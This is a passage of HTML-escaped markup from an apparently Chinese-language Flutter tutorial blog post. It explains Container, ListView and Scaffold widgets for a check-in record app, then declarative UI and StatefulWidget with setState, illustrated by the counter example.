class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchDay\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchTime\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emachineName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror_outline\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereplaceAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 InformationWithIcon 是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIconData\u003c/span\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003esize:\u003c/span\u003e \u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etertiary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSizedBox\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eExpanded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTagsBoxes 需要在 Container 讲明白了之后才能说明。\u003c/p\u003e\n\u003ch3 id=\"container\"\u003eContainer\u003c/h3\u003e\n\u003cp\u003eContainer是一个拥有绘制、定位、调整大小的 widget,是开发中最常用、最基础的组件。顾名思义,他能包装很多的组件。地位类似于 HTML 的 div。\u003c/p\u003e\n\u003cp\u003e上面的组件,如果我要成为一个个卡片,我得用这个包装:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于 Container,我们需要引入一些对于有些人很熟悉的东西,也就是说,Margin 和 Padding,外边距和内边距。对于 Container 而言,内边距用到的最多。我们还可以设置这玩意的边框,圆角,背景颜色之类。扩展完相当于这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eborderRadious:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e类似于这个:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\n \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background-color:purple;border-radius:10%;padding:15px\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\nxxx\n\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e实际上 Container 是很多部件的最终实现方式,比如 Card,他就说按照设计规范,设计好背景颜色,边框圆角,背景颜色之类。除此之外,还有强制设定长宽的 SizedBox,强制设定装饰的 DecortatedBox 等,都可以算 Container 的扩展。实际代码中,我直接把上面提到的 Warp 套进 Card 了。\u003c/p\u003e\n\u003cp\u003e最终,我说明一下上面说到的 TagBoxes。代码是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromLTRB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003ebackgroundColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003etextColor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etextScaleFactor:\u003c/span\u003e \u003cspan class=\"m\"\u003e0.9\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"listview\"\u003eListView\u003c/h3\u003e\n\u003cp\u003e卡片介绍就这样了,在实际情况下,我们会有超级多的记录。根据思维惯性,我们会想让其做成一个可以滚动的菜单。不过不能用 Column,因为单纯的 Column 缺少滚动侦测器,也就是说,我们缺少一个侦测目前该滚动菜单滚动位置的侦测器。所以,我们需要使用 ListView 部件,他默认有一个滚动侦测器。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"n\"\u003eListView\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e......\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e滚动侦测器涉及到接下来要说的状态管理。\u003c/p\u003e\n\u003ch3 id=\"scafford\"\u003eScafford\u003c/h3\u003e\n\u003cp\u003eMaterial 设计的页面部件框架,包括但不限于:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eappBar:上面的导航栏(可以设置标题和右面的小按钮,称为 action)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003etabBar:一个框架的分页,分页内容另有设置\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebody:页面的主要部分,对于截图是打卡记录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebottomNavigationBar:底部的导航栏,对于截图是展示次数以及转换\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"flutter-内部的状态管理\"\u003eFlutter 内部的状态管理\u003c/h2\u003e\n\u003ch3 id=\"声明式编程\"\u003e声明式编程\u003c/h3\u003e\n\u003cp\u003e我先念一段上网找到的定义:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e命令式编程就像它的名字一样,它由开发者我们一步一步的告述计算机,执行一系列的操作,然后得到想要的结果,起主要作用的是开发者,计算机只是帮助开发者执行计算而已。我们日常使用的大多数语言都属于命令式。\u003c/p\u003e\n\u003cp\u003e而声明式编程却与此相反,它不是告述计算机做什么做,而是直接告述计算它想要的结果,至于怎么做,由预先写好的程序依据一定的算法由计算机自动推算出来。这类定义比如 SQL,Vue 的响应式组件。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e官方给了个这个公式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eUI = f(state)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFlutter 部件的构造过程,如这个公式所见,是这样的:\u003c/p\u003e\n\u003cp\u003e我们有一个UI,或者说部件,的构造函数,里面写好了这个部件需要接收,或者监听的状态。我们通过创建,修改这个状态,让程序组建/更新我们的部件。这个状态就是我们希望的结果。这说起来十分拗口,我们上两个例子。\u003c/p\u003e\n\u003ch3 id=\"statefulwidget-内部管理和-setstate\"\u003eStatefulWidget 内部管理和 setstate\u003c/h3\u003e\n\u003cp\u003e之前我们提到的部件,都是 Stateless 部件,也就是说,这个部件的状态不会变,在我们一开始渲染的时候,就写死了。\u003c/p\u003e\n\u003cp\u003e但是,状态有时候是需要更新的。比如说,最开始那个计数器应用,我们需要记下来目前数字是多少,并且我们需要能响应添加和减少。鉴于这个,我们需要引入 StatefulWidget 来实现这个。\u003c/p\u003e\n\u003cp\u003eStatefulWidget 依靠 setState 来刷新部件,我们看一下计数器代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 所有应用的入口\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 这些都是定义框架的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nl\"\u003etheme:\u003c/span\u003e \u003cspan class=\"n\"\u003eThemeData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"nl\"\u003eprimarySwatch:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eblue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo Home Page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// StatefulWidget 可以通过输入 stful 来快速生成\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// StatelessWidget 通过输入 stless 来生成\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyHomePage\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 所有在 Widget 里面的东西都是 final\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 状态在此生成\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_MyHomePageState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_MyHomePageState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 注意里面的 setState,他是用来更新部件状态的\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 里面的函数就是状态是如何被更新的了\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// 每当 setState 运行,部件状态被更新,这个函数会重新运行\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 更新适应这个状态的部件\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan 